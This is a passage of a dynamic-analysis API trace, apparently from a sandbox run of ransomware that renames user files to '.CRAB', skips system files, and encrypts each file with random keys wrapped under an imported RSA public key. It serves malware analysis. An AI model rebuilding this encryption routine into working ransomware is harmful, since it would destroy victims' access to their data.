	[0123.906] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\npcywuf.odt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\npcywuf.odt.crab")) returned 1
	[0123.906] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.907] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB"
	[0123.907] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB.CRAB"
	[0123.907] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0123.907] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.908] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.908] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.908] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0123.908] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0123.908] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.908] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ec00) returned 1
	[0123.909] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.909] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.909] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0123.909] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0123.909] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.909] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.910] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.910] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0123.910] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166d20) returned 1
	[0123.911] CryptGetKeyParam (in: hKey=0x3166d20, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0123.911] CryptEncrypt (in: hKey=0x3166d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0123.911] GetLastError () returned 0x0
	[0123.911] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.911] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0123.911] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166e60) returned 1
	[0123.911] CryptGetKeyParam (in: hKey=0x3166e60, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0123.912] CryptEncrypt (in: hKey=0x3166e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0123.912] GetLastError () returned 0x0
	[0123.912] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.912] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\nPCYwUf.odt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\npcywuf.odt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0123.912] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.913] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.913] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0xd61, lpOverlapped=0x0) returned 1
	[0123.926] VirtualAlloc (lpAddress=0x0, dwSize=0xd70, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.926] VirtualAlloc (lpAddress=0x0, dwSize=0xd70, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.926] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.927] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffff29f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.927] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0xd70, lpOverlapped=0x0) returned 1
	[0123.927] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.927] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.934] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0123.934] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0123.934] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0123.934] CloseHandle (hObject=0x3ec) returned 1
	[0123.934] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.935] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.935] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.935] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.935] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.935] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.936] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0123.936] lstrcmpW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2=".") returned 1
	[0123.936] lstrcmpW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="..") returned 1
	[0123.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="pk VyWtD0SvDXAAZW.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx"
	[0123.936] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.936] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx") returned 60
	[0123.936] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx") returned 60
	[0123.936] lstrlenW (lpString=".xlsx") returned 5
	[0123.936] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.936] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0123.936] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.937] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx") returned 60
	[0123.937] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx") returned 60
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="desktop.ini") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="autorun.inf") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="ntuser.dat") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="iconcache.db") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="bootsect.bak") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="boot.ini") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="ntuser.dat.log") returned 1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="thumbs.db") returned -1
	[0123.937] lstrcmpiW (lpString1="pk VyWtD0SvDXAAZW.xlsx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.937] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.937] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB") returned 65
	[0123.937] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pk vywtd0svdxaazw.xlsx")) returned 0x20
	[0123.937] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx", dwFileAttributes=0x20) returned 1
	[0123.938] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pk vywtd0svdxaazw.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pk vywtd0svdxaazw.xlsx.crab")) returned 1
	[0123.939] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.939] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB"
	[0123.939] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB.CRAB"
	[0123.939] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0123.940] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.940] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.940] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.940] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0123.940] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.940] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.940] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0123.941] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.941] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.941] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0123.941] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.941] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.942] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.942] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.942] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0123.943] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166da0) returned 1
	[0123.943] CryptGetKeyParam (in: hKey=0x3166da0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0123.943] CryptEncrypt (in: hKey=0x3166da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0123.943] GetLastError () returned 0x0
	[0123.943] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.943] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e7c0) returned 1
	[0123.944] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166f20) returned 1
	[0123.944] CryptGetKeyParam (in: hKey=0x3166f20, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0123.944] CryptEncrypt (in: hKey=0x3166f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0123.944] GetLastError () returned 0x0
	[0123.944] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0123.945] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\pk VyWtD0SvDXAAZW.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\pk vywtd0svdxaazw.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0123.945] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.945] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.945] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x61a, lpOverlapped=0x0) returned 1
	[0123.958] VirtualAlloc (lpAddress=0x0, dwSize=0x620, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.958] VirtualAlloc (lpAddress=0x0, dwSize=0x620, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.958] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.959] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffff9e6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.959] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x620, lpOverlapped=0x0) returned 1
	[0123.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.959] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.972] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0123.972] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0123.972] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0123.972] CloseHandle (hObject=0x3ec) returned 1
	[0123.972] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.973] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.973] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.973] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.973] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.973] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.974] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0123.974] lstrcmpW (lpString1="Q5xtIBb.jpg", lpString2=".") returned 1
	[0123.974] lstrcmpW (lpString1="Q5xtIBb.jpg", lpString2="..") returned 1
	[0123.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Q5xtIBb.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg"
	[0123.974] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.974] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg") returned 49
	[0123.974] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg") returned 49
	[0123.974] lstrlenW (lpString=".jpg") returned 4
	[0123.974] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.974] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0123.974] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.975] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg") returned 49
	[0123.975] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg") returned 49
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="desktop.ini") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="autorun.inf") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="ntuser.dat") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="iconcache.db") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="bootsect.bak") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="boot.ini") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="ntuser.dat.log") returned 1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="thumbs.db") returned -1
	[0123.975] lstrcmpiW (lpString1="Q5xtIBb.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0123.975] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.975] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB") returned 54
	[0123.975] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\q5xtibb.jpg")) returned 0x20
	[0123.976] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg", dwFileAttributes=0x20) returned 1
	[0123.976] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\q5xtibb.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\q5xtibb.jpg.crab")) returned 1
	[0123.977] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.977] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB"
	[0123.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB.CRAB"
	[0123.977] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0123.978] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.978] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.978] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.978] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0123.978] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.978] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.979] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0123.979] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.979] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.980] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.980] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0123.980] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.980] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.980] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.980] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.981] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0123.981] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166720) returned 1
